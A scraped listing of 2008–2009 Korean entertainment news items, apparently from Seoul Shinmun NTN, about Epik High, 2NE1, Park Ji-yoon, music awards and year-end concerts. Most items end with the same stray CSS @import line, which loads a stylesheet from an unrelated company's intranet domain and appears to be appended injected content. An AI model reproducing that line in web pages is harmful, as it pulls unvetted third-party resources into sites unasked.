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  • [NOW포토] 2NE1 ‘함께 몸을 흔들어’

    [NOW포토] 2NE1 ‘함께 몸을 흔들어’

    10일 저녁 서울 건국대학교 새천년홀에서 열린 싸이월드 ‘제 34&35회 디지털 뮤직 어워드’에 열정적으로 춤을 추고 있는 2NE1.이날 시상식 ‘Song Of The Monh’상은 34회 빅뱅&2NE1이 함께 한 ‘Lollipop’이 선정되었고, 신인 2NE1은 데뷔곡 ‘Fire’로 35회 ‘Song Of The Monh’와 ‘Rookie Of The Month’를 동시에 거머쥐었다.한편, 애프터스쿨의 ‘Diva’는 4월 월간 신인상인 ‘Rookie Of The Month’에 선정되었다. 또한 음악성이 뛰어난 아티스트에게 주어지는 ‘탐음매니아상’에는 에픽하이의 ‘Map The Soul’과 박지윤의 ‘바래진 기억에’가 선정되었다.서울신문NTN 강정화 기자 kjh@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NOW포토] 애프터스쿨, 몸매보다 실력 ‘신인상 수상’

    [NOW포토] 애프터스쿨, 몸매보다 실력 ‘신인상 수상’

    10일 저녁 서울 건국대학교 새천년홀에서 열린 싸이월드 ‘제 34&35회 디지털 뮤직 어워드’에 참석한 애프터스쿨이 포토타임을 갖고 있다.이날 시상식 ‘Song Of The Monh’상은 34회 빅뱅&2NE1이 함께 한 ‘Lollipop’이 선정되었고, 신인 2NE1은 데뷔곡 ‘Fire’로 35회 ‘Song Of The Monh’와 ‘Rookie Of The Month’를 동시에 거머쥐었다.한편, 애프터스쿨의 ‘Diva’는 월간 신인상인 ‘Rookie Of The Month’에 선정됐다. 또 음악성이 뛰어난 아티스트에게 주어지는 ‘탐음매니아상’에는 에픽하이의 ‘Map The Soul’과 박지윤의 ‘바래진 기억에’가 선정되었다.서울신문NTN 강정화 기자 kjh@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NOW포토] 박지윤, ‘신비로운 매력’ 속으로~

    [NOW포토] 박지윤, ‘신비로운 매력’ 속으로~

    10일 저녁 서울 건국대학교 새천년홀에서 열린 싸이월드 ‘제 34&35회 디지털 뮤직 어워드’에 참석한 박지윤이 포토타임을 갖고 있다.이날 시상식 ‘Song Of The Monh’상은 34회 빅뱅&2NE1이 함께 한 ‘Lollipop’이 선정되었고, 신인 2NE1은 데뷔곡 ‘Fire’로 35회 ‘Song Of The Monh’와 ‘Rookie Of The Month’를 동시에 거머쥐었다.한편, 애프터스쿨의 ‘Diva’는 월간 신인상인 ‘Rookie Of The Month’에 선정되었다. 또한 음악성이 뛰어난 아티스트에게 주어지는 ‘탐음매니아상’에는 에픽하이의 ‘Map The Soul’과 박지윤의 ‘바래진 기억에’가 선정됐다.서울신문NTN 강정화 기자 kjh@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NOW포토] 2NE1 박산다라, ‘알록달록 패션’

    [NOW포토] 2NE1 박산다라, ‘알록달록 패션’

    10일 저녁 서울 건국대학교 새천년홀에서 열린 싸이월드 ‘제 34&35회 디지털 뮤직 어워드’에 참석한 2NE1의 박산다라가 포즈를 취하고 있다.이날 시상식 ‘Song Of The Monh’상은 34회 빅뱅&2NE1이 함께 한 ‘Lollipop’이 선정되었고, 신인 2NE1은 데뷔곡 ‘Fire’로 35회 ‘Song Of The Monh’와 ‘Rookie Of The Month’를 동시에 거머쥐었다.한편, 애프터스쿨의 ‘Diva’는 4월 한 달 동안 가장 괄목할만한 신인상인 ‘Rookie Of The Month’에 선정되었다. 또 음악성이 뛰어난 아티스트에게 주어지는 ‘탐음매니아상’에는 에픽하이의 ‘Map The Soul’과 박지윤의 ‘바래진 기억에’가 선정되었다.서울신문NTN 강정화 기자 kjh@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 타블로 “강혜정은 내 인생의 확실한 사랑”

    타블로 “강혜정은 내 인생의 확실한 사랑”

    에픽하이 멤버 타블로가 배우 강혜정에 대한 사랑을 당당하게 밝혔다. 타블로는 3일 방송된 MBC ‘황금어장-라디오스타’에 출연해 강혜정과의 첫 만남부터 연인에 대한 진솔한 감정까지를 솔직하게 말해 시청자의 이목을 모았다. 타블로는 “강혜정이 봉태규와 함께 에픽하이 크리스마스 콘서트에 놀러와 첫 만남을 가졌다.”며 “이후 봉태규가 그를 모임에 초대했고 어울리다가 자연스레 강혜정과 가까워지게 됐다.”고 고백했다. 타블로는 이어 “내가 강혜정에게 먼저 좋아한다고 고백했다.”며 “강혜정과는 처음부터 코드가 잘 맞았다.”고 말해 다른 출연자들의 질투를 불러일으켰다. 타블로는 ‘왜 강혜정을 사랑하냐’는 MC들의 질문에 “‘이 사람은 내가 만났어야 되는 사람’이라는 생각이 든다.”며 “강혜정은 내 인생의 사랑이 확실하다.”는 진지한 고백으로 애정을 감추지 않았다. 한편 이날 ‘라디오스타’에서는 에픽하이와 케이윌이 출연해 MC들의 매서운 독설 공격을 받으며 재치 있는 입담을 선보였다. (사진 = 서울신문NTN DBㆍMBC ‘황금어장’ 캡쳐) 서울신문NTN 박민경 기자 minkyung@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 재미교포 바비킴, 인종차별 회상하며 ‘눈물’

    재미교포 바비킴, 인종차별 회상하며 ‘눈물’

    재미교포 출신 가수 바비킴(본명 김도균·35)의 인종차별을 당했던 성장기가 밝혀졌다. 지난 달 31일 서울 연세대학교 대강당에서 서울 앙코르 콘서트를 가진 바비킴은 공연 도중 어머니와 인터뷰 영상을 통해 힘들었던 과거사가 공개되자 눈시울을 붉히고 말았다. 바비킴의 어머니는 이 영상을 통해 “미국에서 아들을 키우느라 여러가지로 힘들었다.”고 고백하며 “흑인 폭동 때문에 아들을 고생시켰고 학교에서 인종 차별을 당해 싸우고 돌아온 아들을 볼 때면 너무 가슴이 아팠다.”고 털어놨다. 어머니를 위한 자작곡 ‘마마(MAMA)’를 부르며 감정이 복받쳐 오른 바비킴은 끝내 눈가를 어루만졌다. 관중석에서 위로의 박수가 쏟아지자 바비킴은 “투어 공연을 하며서 전국에 많은 팬들이 존재한다는 사실을 깨달았다.”며 “좋은 음악으로 팬들에게 보답하겠다.”는 각오를 전했다. 한편 이날 무대에는 트럼펫 연주자로 명성을 날렸던 바비킴의 아버지 김연근씨를 비롯해 에픽하이, 다이나믹 듀오, 은지원과 정인 등이 게스트로 올라 분위기를 고조시켰다. 서울 앙코르 공연을 마친 바비킴은 대구, 울산, 안산, 부산, 고양, 부천, 제주로 이어지는 전국 투어 공연을 준비하고 있다. (사진 제공 = 오스카 엔터테인먼트) 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • H-유진, 김종국 곡 뺏었다? “형은 이미 잘됐잖아” (인터뷰)

    H-유진, 김종국 곡 뺏었다? “형은 이미 잘됐잖아” (인터뷰)

    ”에이, (김)종국형은 이미 너무 잘 됐잖아요.(웃음)” 김종국이 꽁꽁 숨겨왔던 ‘새콤상콤 연인송’을 힙합 가수 H-유진(본명 허유진·29)에게 빼앗겨 버렸다. ”원래는 종국형 노래였어요. 다음 앨범에 들어갈 예정이었지만 ‘내가 부르면 안되겠냐’며 잘 부탁해 뺏었죠. ‘5월의 연인’에게 꼭 들려주고 싶은 노래였거든요.” 새 디지털 싱글 ‘사랑인가봐(feat. 린)’를 발표한 H-유진. 최근 재치 넘치는 입담으로 ‘예능계의 샛별’로 급부상한 그의 ‘넉살’을 미워할 수 없는 진짜 이유는 바로 음악적 신뢰감에 있었다. ◇ 린, 피터링 8곳 거절…H-유진만 O.K! H-유진은 피처링으로 멋진 화음을 선사해준 린에게 감사함을 전했다. ”린 씨는 힙합과 어울리는, 더없이 세련된 음색을 지녔어요. 평소 친분이 있었지만 이미 무려 8곳에서 피처링 제의를 받은 상태였기 때문에 큰 기대를 하지 못했어요. 어려운 부탁이라 내심 미안했는데 흔쾌히 승락해 줬죠.” 실제로 린은 MC몽의 ‘너에게 쓰는 편지’, 휘성의 ‘날 모르죠’, 허니패밀리의 ‘사랑해’, 에픽하이의 ‘그녀가 불쌍해’ 등 다수의 작품을 빛나게 했던, 힙합 가수들이 꼽은 최고의 여성 보컬리스트다. ”’사랑인가봐’ 녹음을 마친 후 린 씨의 말이 인상적였어요. ‘내 곡 보다 더 잘 나온 것 같아, 어떡해’하고요.(웃음) 그러니깐 제가 뺏으면서 까지 욕심을 냈겠죠?” ◇ 5月에 딱! ‘사랑인가봐’ 지난 8일 KBS 2TV ‘뮤직뱅크’를 통해 첫 선을 보인 ‘사랑인가봐’에 대한 대중들의 반응도 다르지 않았다. ’너만 내 곁에 있으면 자꾸 바보가 돼. 이런게 사랑인가봐. 너를 사랑하나봐.(후렴구 中)’ 사랑을 막 시작한 연인들이 서로에 대한 설렘을 수줍게 고백하는 ‘사랑인가봐’는 H-유진의 설명대로 5월에 ‘딱!’인 노래였다. 살랑이는 봄 바람에 사랑 한 번 안하고픈 솔로가 어딨으랴. H-유진은 이러한 마음을 관통하듯 솔로에게는 위안을, 커플에게는 행복을 안겨줄 ‘사랑노래 시리즈 2’를 연이어 선보일 계획이다. ”늦은 데뷔이니 만큼, 제 음악적 욕심을 채우다기 보다 대중들에게 ‘H-유진’이란 이름이 익숙할 수 있도록 친근한 주제로 다가서고 싶어요. ‘사랑노래 2탄’은 시원한 여름에 어울리는 쿨한 사랑노래가 될 겁니다.” 오늘(10일) SBS ‘인기가요’를 통해 린과 함께 ‘사랑인가봐’ 스폐셜 무대를 선보이는 H-유진은 “사랑스럽고 산뜻한 무대를 보여주겠다.”는 각오를 다졌다. ”본격적인 컴백은 7-8월을 목표로 하고 있어요. 그 때는 지금보다 깜짝 놀랄만한 아이템으로 인사드릴게요. 버라이어티에서는 친근하지만 무대 위에서는 오직 음악으로 인정받는 래퍼가 되고 싶습니다. 부단히 노력하는 H-유진, 지켜봐 주세요.” 서울신문NTN 최정주 기자 joojoo@seoulntn.com / 사진 = 강정화 기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 박지윤 “7집, 진정한 의미의 내 첫번째 앨범”

    박지윤 “7집, 진정한 의미의 내 첫번째 앨범”

    6년 만에 7집 앨범으로 컴백하는 가수 박지윤이 이번이 진정한 의미의 첫 번째 앨범이라고 말했다. 28일 서울 강남구 청담동에 위치한 데일리 프로젝트에서 열린 7집 ‘꽃, 다시 첫 번째’의 쇼케이스 현장에서 “이번이 진정한 의미의 첫 번째 앨범이라고 할 수 있다.” 며 “전에는 누가 만들어준 음악의 옷을 입고 무대에 올랐다면 이번에는 직접 곡 작업과 프로듀싱에 참여해 진짜 박지윤이 표현하고 싶은 음악을 담았다.”고 말했다. 이어 “전에 활동하면서 보였던 음악과는 다른 새로운 길이었기에 이번 앨범 작업 하면서 많은 걱정을 했다. 다행히 반응이 좋아 앨범 발매 다음날 눈물이 났다. 너무 기쁘고 감격스럽다.”고 소감을 전했다. 이날 쇼케이스에서 박지윤은 ‘봄, 여름 그 사이’와 타이틀곡 ‘바래진 기억에’를 선보였다. 박지윤의 7집 앨범에는 이날 선보인 곡 외에도 ‘4월 16일’, ‘그대는 나무같아’ 등 총 9곡이 수록돼 있다. 이번 박지윤의 앨범에는 타이틀곡을 작곡한 디어클라우드 외에도 에픽하이의 타블로, 넬의 김종완, 루시드 폴이 참여해 더욱 앨범의 완성도를 높였다. 6년 전 활동했던 대중적인 댄스 음악과 차이를 우려하는 질문에 “제가 하고 싶은 음악을 해보자라는 생각으로 도전했기 때문에 솔직히 걱정을 안했다.”며 “분명히 저의 음악을 좋아하는 사람이 있을 것이라 생각했다. 그리고 앨범의 성공 여부에 중점을 두지 않아 흔들리지 않고 작업을 할 수 있었던 것 같다.”고 말했다. 앞으로의 활동계획에 대해 “너무 오래쉬어서 많은 활동을 할 예정”이라며 “음악 프로그램에는 다 출연할 것이고 라디오와 예능 프로그램에서도 모습을 볼 수 있을 것이다. 또 7월에 첫 콘서트 계획이 있다. 많은 음악을 들려드릴 것”이라고 말했다. 서울신문NTN 이동준기자 juni3416@seoulntn.com / 사진=강정화기자@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [보고 듣고 즐기세요] 대중음악

    ●에픽하이 콘서트 5월2일 오후 6시 멜론악스. 5만 5000~7만 7000원. (02)747-1252. ●신혜성 콘서트 5월2일 오후 6시, 3일 오후 5시 이화여대 대강당. 6만 6000~8만 8000원. ●이상은, 장기하, 아마도 이자람 밴드, 아나킨 프로젝트 합동콘서트 5월2일 오후 7시 압구정 예홀. 3만3000원. 070-7557-1619. ●언니네 이발관 전국투어 5월2일 오후 7시 고양 아람누리 노루목야외극장. 4만 4000원. (02)322-0014.
  • 박명수, 꽃미남 토크쇼 MC 발탁

    박명수, 꽃미남 토크쇼 MC 발탁

    개그맨 박명수가 꽃미남 토크쇼 MBC 에브리원 ‘지금은 꽃미남시대’ MC로 발탁돼 화제가 되고 있다. 4월1일 첫 방송되는 MBC에브리원 ‘지금은 꽃미남시대’는 매 회 이슈가 되고 있는 꽃미남들을 게스트로 초대한다. MC를 맡은 박명수는 “나 꽃미남”이라며 MC를 맡은 것에 대해 당연하다는 반응을 보였다. 박명수 외에도 개그맨 유세윤, 에픽하이 멤버 DJ투컷츠가 진행을 도와 색다른 토크쇼를 만들어 낼 예정으로 첫 회분에는 깜짝 게스트로 그룹 2AM과 유키스가 출연한다. 이날 방송에는 이민호, 영웅재중, 태양 등이 포함된 ‘꽃미남 복근 베스트 7’를 발표해 여성 시청자들의 눈길을 사로잡을 전망이다. (사진제공 = MBC에브리원) 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 에픽하이, 팬들에게 직접 음반 유통

    에픽하이, 팬들에게 직접 음반 유통

    힙합 그룹 에픽하이가 국내 최초로 중간 유통단계 없이 팬들과 직접 소통을 하는 새로운 문화 코드를 선보인다. 에픽하이는 멤버들이 직접 만들고 운영하는 사이트 ‘mapthesoul.com’을 통해 대형 기획사나 외부 업체의 후원 없이 오는 27일 발매 예정인 새로운 작품 ‘魂: Map the Soul’을 팬들에게 직접 판매를 시작, 새로운 문화 코드들을 선보일 예정. 에픽하이가 직접 만들고 운영하는 이 사이트는 아티스트와 팬이 그 어떤 필터도 없이 직선으로 소통할 수 있는 ‘아티스트 포털 사이트’. 기존 공식 홈페이지들과는 달리 프로모션이나 이미지용이 아닌, 스타의 미니홈피 같은 공간은 담아낼 수가 없는 다양하고 풍부한 콘텐츠를 제공하는 곳이다. 이미 국외에서는 라디오헤드, 나인인치 네일스, 마돈나 등 세계 최고의 뮤지션들이 전형적인 유통방식을 완전히 떠나서 개인이 운영하는 인터넷 사이트를 통해 음악을 팬들에게 전하고 있는 추세. 새로운 문화코드를 통해 팬들과의 직접 소통을 준비하는 에픽하이는 “작품의 가치가 아무리 높아도, 우리의 팬들에게 부담되는 가격은 싫다. 우리의 팬들은 다른 팬들과 비슷한 지출을 해도 더 많은 걸 얻었으면 한다. 거품을 최대한 빼고 가격을 내리려고 하다 보니 직접 판매/유통 하는 방법밖에 없다는 걸 깨닫게 되서, 이번 작품만큼은 새로운 방식으로 판매하는 것.”이라라며 새로운 도전에 대한 굳은 의지를 보였다. 한편 에픽하이의 ‘mapthesoul.com’은 에픽하이의 포토 일기장, ‘mapTV’라는 비디오 블로그, 온라인 쇼핑몰 등 다양한 서비스를 팬들에게 우리말과 영어로 제공할 예정이다. (사진=서울신문NTN DB) 서울신문NTN 이동준 기자 ldj3416@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 언터쳐블, 데뷔 5개월만에 콘서트 개최

    언터쳐블, 데뷔 5개월만에 콘서트 개최

    남성 힙합 듀오 언터쳐블(Untouchable)이 데뷔 5개월만에 콘서트를 개최한다. 언터쳐블의 소속사 TS 엔터테인먼트 측은 11일 “오는 29일 언터쳐블이 홍대 부근 ‘브이 홀(V-HALL)’에서 데뷔 후 첫 번째 공식 콘서트를 연다.”고 밝혔다. 소속사 측은 “언터쳐블이 첫 앨범을 발표한지 5개월 밖에 되지 않았지만 데뷔 전 언더 힙합씬에서 왕성한 활동을 펼치며 다이나믹 듀오, 원타임, 에픽하이, 주석, 지누션, 스나이퍼, 바비킴, 양동근, 김진표, 업타운 등 다양한 쇼케이스에 출연했덨던 경험과 H.O.T, NRG, 마야, 이재원, 임정희 등의 콘서트 게스트로 출연했던 경력을 높이 평가해 이번 콘서트를 기획하게 됐다.”고 전했다. 언터쳐블이 직접 연출을 맡았다는 점에 기반해 첫 콘서트명은 ‘메이드 인 언터쳐블(Made In Untouchable)’로 확정됐다. 또한 과거 음악활동에서 우정을 다졌던 화요비, 후니훈, 레드락(RED ROC), 팔로알토(Paloalto), 태완, L.E.O, 스윙스(Swings), Supreme Team(슈프림팀) 등이 게스트로 무대를 빛낼 예정이다. 한편 티켓 구입 및 예매는 힙합 전문 사이트 hiphopplaya(힙합플레이야)를 통해 가능하다. 현재 언터쳐블은 ‘텔미와이(Tell Me Why)’에 이어 후속곡 ‘다줄께’로 활발한 활동을 펼치고 있다. 사진 제공 = TS 엔터테인먼트 서울신문NTN 최정주 기자 joojoo@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 오영실, 타블로 친형과 함께 영어MC 맡아

    오영실, 타블로 친형과 함께 영어MC 맡아

    ‘국민고모’로 불리며 큰 인기를 얻고 있는 오영실과 그룹 에픽하이 멤버 타블로의 친형이 EBS 영어교육 프로그램의 진행을 맡는다.2009년 편성개편을 맞아 오는 23일부터 교육채널 EBS가 전면적 개혁을 단행한다. 이중 특히 눈길을 끄는 건 아나운서 출신 탤런트 오영실과 가수 타블로의 친형 이선민(영어이름 데이브)씨가 각각 진행자로 나서는 것.영어공부 노하우를 전달하는 영어교육 정보 프로그램인 ‘토크앤이슈-영어강국코리아’는 최근 SBS 일일드라마 ‘아내의 유혹’에서 각광을 받고 있는 오영실이 인기MC 썬킴과 함께 프로그램의 공동 진행을 맡는다. 또 연예인의 지명도 및 흥미성을 강조해 기초적인 영어 회화 능력을 배양토록 기획된 프로그램‘스타 잉글리시’는 가수 타블로의 친형 이선민씨가 진행을 맡는다. 첫 방송에는 섹스폰니스트 대니정이 게스트로 출연하며 이후 방송에도 영어 회화에 능통한 연예인들이 출연 할 예정이다.EBS 측은 “이번 편성개편을 맞이해 영어교육을 ‘활용’중심으로 전면 쇄신해 학교와 가정 실질 도움토록 프로그램을 전환할 방침”이라고 밝혔다. 서울신문NTN 김예나 기자 yeah@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘러브홀릭’ 전 보컬 지선, ‘솔로가수’로 컴백

    ‘러브홀릭’ 전 보컬 지선, ‘솔로가수’로 컴백

    모던록 밴드 러브홀릭의 전 보컬 지선(본명 황지선)이 솔로 음반으로 컴백한다. 지난 2007년 10월 러브홀릭을 탈퇴한 지선은 최근 소속사를 옮기고 팬들에게 선보일 첫 솔로 앨범을 준비했다. 현 소속사 울림엔터테인먼트 관계자는 14일 “러브홀릭의 보컬이었던 지선이 오는 2월 3일, 모던락 풍의 첫 솔로 음반을 발매하고 가요계로 전격 복귀한다.”고 밝혔다. 이어 “이번 앨범은 지선이 자신의 이름을 내건 첫 앨범인 만큼 전 곡의 작사ㆍ작곡을 맡았으며 MBC ‘우리 결혼했어요’의 주제곡 ‘화분’을 함께 불러 화제를 모았던 알렉스도 듀엣곡으로 참여했다.”고 덧붙였다. 지선은 러브홀릭 활동 당시에도 ‘신기루’ ‘블레스 유(Bless you)’ ‘새드 스토리(Sad story)’ 등의 곡을 작사, 작곡해 제작 능력까지 갖춘 싱어송라이터로서의 면모를 보였던 바 있다. 그룹 러브홀릭을 통해 2003년 데뷔한 지선은 독특한 보이스와 몽환적인 느낌의 모던록 음악을 대중화시키며 ‘러브홀릭’(LOVEHOLIC), ‘인형의 꿈’ 등의 히트곡을 배출했다. 또한 MBC TV ‘내 이름은 김삼순’, ‘어느 멋진 날’, KBS 2TV ‘눈의 여왕’, 영화 ‘외출’ 등 각종 영화, 드라마의 인기 OST에 참여해 큰 사랑을 받았지만 2007년 돌연 팀 탈퇴를 선언해 팬들의 아쉬움을 자아냈다. 아직 공개되지 않은 지선의 타이틀 곡의 뮤직비디오는 서태지의 최근 앨범 ‘모아이’ 와 에픽하이, 넬 등의 뮤직비디오를 제작한 홍원기 감독이 메가폰을 잡아 이색적인 영상 편집이 돋보이는 작품으로 완성됐다는 후문이다. 한편 러브홀릭의 나머지 멤버들은 지선의 탈퇴 이후 팀명을 러브홀릭스로 변경, 객원보컬체제로 활동을 이어가고 있다. 사진 = 플랙서스 뮤직 서울신문NTN 최정주 기자 joojoo@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘빅뱅-원더걸스’ ‘전진-손담비’ 커플호흡 기대만발

    ‘빅뱅-원더걸스’ ‘전진-손담비’ 커플호흡 기대만발

    대한민국을 대표하는 아이돌 빅뱅과 원더걸스, 섹시댄스 아이콘 전진과 손담비가 만나 환상의 ‘커플호흡’을 선보일 예정이다. 12월 31일 오후 9시 55분부터 다음날 1월 1일 오전 1시 30분까지 총 215분동안 MBC 일산 드림센터와 임진각 평화누리에서 이원 생방송되는 2008 MBC ‘가요대제전’에 대한민국을 대표하는 가수들이 총출동한다. 특히 빅뱅과 원더걸스, 전진과 손담비가 커플을 이뤄 찰떡궁합의 무대를 선보일 예정이라 팬들의 관심이 집중되고 있다. 빅뱅과 원더걸스의 경우 작년에 이어 올해도 MBC 가요대제전을 통해 다시 한 번 만난다. 작년 뮤지컬 ‘그리스’로 한 무대에서 호흡을 맞춘 경험이 있는 두 그룹은 G-dragon과 소희, TOP과 선미, 태양과 선예, 대성과 예은, 승리와 유빈 등 다섯 커플을 이뤄 작년보다 좀 더 친밀해진 분위기 속에서 커플별 맹연습 중인 것으로 전해졌다. 빅뱅과 원더걸스는 서로 상대 그룹의 히트곡을 각자의 느낌에 맞게 재편곡해 원곡만큼 멋진 노래를 들려줄 예정이다. 그들은 “지금까지의 합동 공연과는 차원이 다른 새로운 무대를 기대해도 좋다.”는 자신감을 보이고 있다. 한편 전진과 손담비는 각각 솔로댄스와 함께 커플댄스를 선보이기 위해 현재 구슬땀을 흘리고 있다. 전진은 파트너 손담비의 ‘미쳤어’ 안무를 함께 출 예정이라 더 큰 기대를 모으고 있다. 또 전진은 마이클 잭슨으로 변신해 무한도전 콘서트를 통해 선보였던 ‘데인져러스’로 다시 한 번 무대에 오를 예정이다. 빅뱅, 원더걸스, 전진, 손담비, MC몽, 에픽하이, 2PM, 샤이니, 송대관, 태진아, 장윤정, 박현빈, 김종국, 백지영, 쥬열리, 신문희, 브라운 아이드 걸스, SG워너비, 소녀시대, SS501, 비, 박진영이 출연하는 2008 MBC ‘가요대제전’은 12월 31일 오후 9시 55분에 생방송된다. 서울신문NTN 김예나 기자 yeah@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘끌리면 오라!’ 별들의 특별한 연말 콘서트

    ‘끌리면 오라!’ 별들의 특별한 연말 콘서트

    2008년도 얼마 남지 않은 지금. 볼 거리 많은 풍성한 공연이 관객들을 맞을 준비에 한 창이다. 올해가 가기 전 그 동안의 스트레스를 한 번에 풀어 줄 힘 넘치는 이효리의 첫 단독 콘서트부터 개성 넘치는 DJ.DOC의 특별한 파티까지. 올 연말 관객들을 위한 특별한 콘서트를 소개한다. # 스트레스를 풀고 싶다면 다이나믹 한 이효리-박진영 이효리가 데뷔 후 처음으로 단독 콘서트를 갖는다. 오는 19일과 20일 서울 잠실 실내체육관에서 진행되는 ‘천하무적 이효리’ 무대에 오르는 이효리는 그 동안 다 보여주지 못했던 자신의 매력을 모두 공개해 관객을 사로잡을 작정이다. 공연 전 부터 이미 ‘이효리’라는 이름 자체로 화제를 모으고 있는 이번 공연에서 이효리는 개런티 전액을 무대, 의상, 음향 등 시스템 비용으로 반납 음향 시스템 전량을 일본에서 도입 하는 등 보다 완벽한 공연을 만들기 위해 준비 중이다. 솔로 데뷔 후 매 무대마다 흥미로운 볼거리를 제공하며 팬들을 사로잡은 이효리의 공연에 많은 이들의 벌써부터 기대를 모으고 있는 것은 당연한 일. 이번에는 또 어떤 모습으로 관객들을 놀라게 할 지 기대해보자. 국내에서는 원더걸스, 2PM 등을, 미국에서는 J-Lim(임정희), G-Soul 등을 프로듀싱하며 바쁜 나날을 보내고 있는 박진영이 1년 만에 가수로 컴백해 ‘나쁜 파티’라는 제목으로 콘서트를 연다. 오는 13일 부천을 천안(14일), 대전(19일), 광주(20일), 부산(27일), 대구(28일), 서울(31일) 등 총 7개 지역에서 펼쳐지는 이번 콘서트에서 박진영은 ‘원나이트 스탠드’라는 부제를 달아 화끈하고 도발적인 공연을 선보일 예정이다. # 연인들이 함께 하면 더욱 좋은 로맨틱 콘서트~ 사랑하는 사람과 마주잡은 손, 세상에서 가장 달콤한 사랑고백, 마지막 날 까지 잊혀지지 않을 프로포즈를 하고 싶다면 알렉스와 박정현의 조인트 공연을 기대할 것. 오는 28일 부산 공연을 시작으로 30일과 31일 서울 올림픽공원 펜싱경기장에서 진행되는 ‘2008 좋은콘서트 Sweet December 박정현 & 알렉스’ 공연은 여리지만 따뜻한 박정현과 부드럽지만 파워풀 한 알렉스의 묘하게 어울리는 화음으로 연인들에게 다가간다. 알렉스와 박정현은 ‘그대라면’, ‘사랑하오’, ‘사랑이 올까요’, ‘P.S I Love You’ 등의 히트곡과 ‘A Whole New World’, ‘Something Stupid’, ‘Endless Love’, ‘Falling Slowly’ 등의 주옥 같은 듀엣 팝 곡들로 관객들을 사로 잡을 예정이다. 이에 대해 알렉스는 “평소 좋아하던 아티스트 박정현과 함께 공연을 하게 된 것으로도 너무기쁘다.”며 “막 사랑을 시작한 연인에게도, 서로에게 익숙해져 버린 연인에게도 우리의 공연은 특별한 감정에 빠지게 하는 묘약이 될 것”이라고 전했다. # 한 가수로는 부족하다면 별들이 함께 모인 콘서트로 오라! 공연이 진행되는 3시간 동안 한 가수의 목소리만 듣기 지겹다면 특별한 가수들이 함께 꾸미는 조인트 공연도 준비되어 있다. 우선 가장 눈길을 끄는 휘성, 거미, 박효신, 정엽이 함께 꾸미는 ‘더 솔 콘서트’. 오는 20일부터 4일간 진행 서울 올림픽공원 체조경기장에서 진행되는 ‘더 솔 콘서트는’는 평소 휘성, 거미, 박효신 표 R&B 음악을 좋아했던 사람이라면 누구나 즐길 수 있는 무대가 될 것이다. 매년 가장 왕성한 활동을 보인 가수 4팀을 선정 연말 합동 공연을 진행하는 Big4 콘서트 역시 눈길을 끈다. 2005년 SG워너비, 김종국, 엠투엠, 바이브 2006년 휘성, SG워너비, 바이브, 씨야 2007년 휘성, SG워너비, 씨야, 엠투엠, FTIsland 등 매해 최고의 가수들과 함께 하며 해마다 연속 티켓 매진 기록을 세운 이번 2008 Big4 콘서트에는 SG워너비, 브라운 아이즈의 윤건, 이수영에 이어 브라운 아이드 걸스가 합류한다. 더욱이 이번 무대에는 네 팀이 함께하는 약 10분 간의 스페셜 합동 공연이 이뤄질 예정이서 더욱 기대를 모으고 있다. # 콘서트 제왕들의 말이 필요 없는 특별한 라이브 콘서트 하면 생각나는 이승철, 신승훈, 이승환, 김장훈 등도 어김없이 콘서트를 준비 중이다. 매번 할 때마다 새로운 시도로 명품 콘서트라는 호평을 듣고 있는 이들의 공연은 한 번 가본 사람이라면 누구나 잊지못할 ‘수준’을 자랑한다. 우선 카이스트와 함께 독특한 무대장치를 준비하고 있는 김장훈이 오는 19일부터 21일까지 서울 올림픽공원 올림픽홀에서 ‘김장훈 원맨쇼’를 연다. 매번 새로운 무대 장치로 관개들을 매료시킨 김장훈은 이번 공연에서도 역시 관객들을 위한 특별한 무대를 준비 중이다. 오는 20일과 21일 서울 올림픽공원 펜싱경기장에서 열리는 ‘2008 더 신승훈 쇼, 어 화이트 나이트’를 통해 무대에 서는 신승훈 역시 ‘미소 속에 비친 그대’, ‘엄마야’, ‘I believe’ 등 그동안 발표한 주옥 같은 곡들로 관객들을 사로잡을 예정이다. 이밖에도 이승환이 24일부터 26일까지 서울 올림픽공원 펜싱경기장에서 ‘명곡 오리지널 버전 크리스마스 콘서트’를, 이승철이 24일부터 27일까지 서울 잠실 실내체육관에서 ‘이승철 크리스마스 콘서트’를 진행한다. # 젊은 이들을 위한 ‘SO~COOL’ 파티 나이 어린 젊은 이들을 위한 콘서트도 준비되어 있다. 일본 유학을 통해 한 층 업그레이드 된 실력을 선보일 FT아일랜드, 유쾌한 남자 MC몽, 한국 힙합의 대중화를 이끄는 에픽하이, 신나는 파티 DJ.DOC까지 다양한 공연이 펼쳐진다. 우선 FT아일랜드는 지난 발매한 두 번째 앨범을 통해 한층 성숙한 연주실력을 선보였으나, 이번 공연에서 더욱 업그레이된 무대를 펼치겠다는 각오로 연습에 한창이다. 이들은 이번 공연을 통해 동화 속 왕자님 같은 외모를 지닌 왕자로 변신, 록 뮤직으로 가득 찬 성을 꾸밀 예정으로 알려져 많은 팬들의 기대를 모으고 있다. 가요계의 살아있는 악동 DJ.DOC는 화끈한 입담과 에너지 넘치는 공연을 준비 중이다. 이에 정재용은 “15년 전으로 돌아간 것 같아 나 자신도 즐겁다.”며 “관객들에게 더 많은 추억과 즐거움을 주도록 노력하겠다.”는 각오를 전하며 이번 공연에 대한 남다른 기대감을 전했다. 이들은 오는 19일 부산을 시작으로 30일과 31일에는 서울 올림픽공원 올림픽홀에서 대장정을 마무리 한다. 서울신문NTN 서미연 기자 